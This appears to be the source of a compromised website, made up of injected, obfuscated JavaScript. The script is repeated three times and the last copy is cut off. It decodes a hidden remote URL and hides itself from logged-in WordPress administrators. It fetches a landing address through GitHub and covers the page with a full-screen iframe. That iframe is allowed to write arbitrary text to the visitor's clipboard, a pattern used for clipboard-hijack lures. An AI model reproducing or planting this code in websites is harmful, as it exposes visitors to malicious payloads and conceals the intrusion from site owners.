7,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x5641.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement("script");__sc.type="text/javascript";__sc.text=__s;__h.appendChild(__sc);})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
